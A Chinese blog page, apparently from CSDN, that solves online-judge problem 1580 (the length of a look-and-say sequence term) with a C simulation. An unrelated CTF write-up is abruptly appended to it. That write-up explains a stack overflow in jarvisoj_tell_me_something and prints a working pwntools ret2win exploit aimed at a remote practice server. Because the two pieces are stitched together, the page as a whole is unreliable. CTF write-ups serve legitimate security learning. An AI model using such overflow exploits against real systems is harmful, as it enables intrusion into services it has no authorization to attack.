哈理工OJ 1580 Tell me the length(模拟+找规律)

本文介绍了一个有趣的数列生成规则,并通过编程实现计算任意项的长度。数列从1开始,每一项描述前一项中各数字出现的次数及数字本身。

Tell me the length
Time Limit: 1000 MSMemory Limit: 65536 K
Total Submit: 58(29 users)Total Accepted: 31(29 users)Rating: Special Judge: No
Description

A number sequence is defined as following:
S(1)=1,
S(2)=11,
S(3)=21,
S(4)=1211,
S(5)=111221,
S(6)=312211,
……
Now, we need you to calculate the length of S(n).

Input

The input consists of multiple test cases. Each test case contains one integers n.
(1<=n<=30)
n=0 signal the end of input.

Output

Length of S(n).

Sample Input

2

5

0

Sample Output

2

6

Author
彭文文@Amber

这是我们校去年的省赛选拔的题目,找个半个小时的规律没找到,学长告诉我的规律,当时明白了之后笑喷了。

规律是这样的:我们先拿出样例。

S(1)=1,
S(2)=11,
S(3)=21,
S(4)=1211,
S(5)=111221,
S(6)=312211,

s1中有1个1

s2=11;

s2中有两个1

s3=21;

s3中有1个2,一个1

s4=1211

s4中有1个1   1 个2    2个1

然后s5就是111221.。。。。。。。。。

看到规律之后笑喷。。。。。。。那这个题手写打表可能得到正确的结果吗?--------------除非你足够细心并且有耐心。。。。

所以我们这里模拟搞定:

#include<stdio.h>
#include<string.h>
using namespace std;
char a[55][6000];
int main()
{
    a[1][0]='1';
    a[1][1]='\0';
    //printf("%d\n",strlen(a[1]));
    for(int i=1;i<=30;i++)
    {
        int weizi=0;
        int n=strlen(a[i]);
        for(int j=0;j<n;j++)
        {
            char c=a[i][j];
            int cont=0;
            for(int k=j;k<n;k++)
            {
                if(a[i][k]==c)
                cont++;
                else
                break;
            }
            a[i+1][weizi]=cont+'0';
            weizi++;
            a[i+1][weizi]=c;
            weizi++;
            j+=cont-1;
        }
        a[i+1][weizi]='\0';
    }
    int n;
    while(~scanf("%d",&n))
    {
        if(n==0)break;
        printf("%d\n",strlen(a[n]));
    }
}







### 漏洞分析与利用方式 在 `jarvisoj_tell_me_something` 这道题目中,程序是一个 64 位的可执行文件,并且开启了 NX(No-eXecute)保护,这意味着栈上数据不能直接执行,攻击者无法直接注入 shellcode 到栈上执行。然而,程序中存在一个明显的栈溢出漏洞,这使得攻击者可以通过覆盖返回地址来控制程序执行流程[^1]。 程序的主要漏洞位于 `main` 函数中,变量 `v4` 是一个 64 位的局部变量,位于栈上。通过 `read` 函数向该变量读取了 0x100(256)字节的数据,而 `v4` 本身的大小仅为 8 字节。因此,这种不匹配会导致栈上的返回地址被覆盖,从而实现控制流劫持[^3]。 ### 利用方式 题目中存在一个后门函数 `good_game()`,该函数会尝试打开 `flag.txt` 文件,这意味着如果能够将程序的执行流跳转到该函数地址,就可以读取到 flag 文件内容[^1]。 在利用过程中,构造的 payload 由两部分组成: 1. **填充部分**:使用 `'A'` 或其他字符填充至 0x88 字节,以覆盖栈上的局部变量和保存的寄存器。 2. **地址覆盖部分**:将 `good_game()` 函数的地址以小端序格式写入栈上,覆盖返回地址。 最终的 payload 结构如下: ```python payload = b'A' * 0x88 + p64(good_game_addr) ``` ### EXP 示例 以下是一个典型的利用脚本示例,使用 `pwntools` 库进行远程连接和 payload 发送: ```python from pwn import * # 连接到远程服务器 r = remote("node4.buuoj.cn", 28428) # 获取 good_game 函数的地址 good_game_addr = 0x400620 # 构造 payload payload = b'A' * 0x88 + p64(good_game_addr) # 发送 payload r.sendline(payload) # 进入交互模式,查看 flag r.interactive() ``` ### 注意事项 1. **IDA 分析的准确性**:虽然 IDA 可以帮助快速定位溢出点和函数地址,但在某些情况下,IDA 的分析可能会与实际运行环境存在差异。例如,`main` 函数中没有 `push rbp` 操作,因此不需要额外填充 8 字节来覆盖保存的 `rbp` 值[^4]。 2. **远程连接问题**:不同题目实例的端口号可能不同,确保使用正确的 IP 和端口进行连接。 3. **环境一致性**:在本地测试时,可以使用 `process` 函数启动本地进程,但在提交时应切换为 `remote` 连接。 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值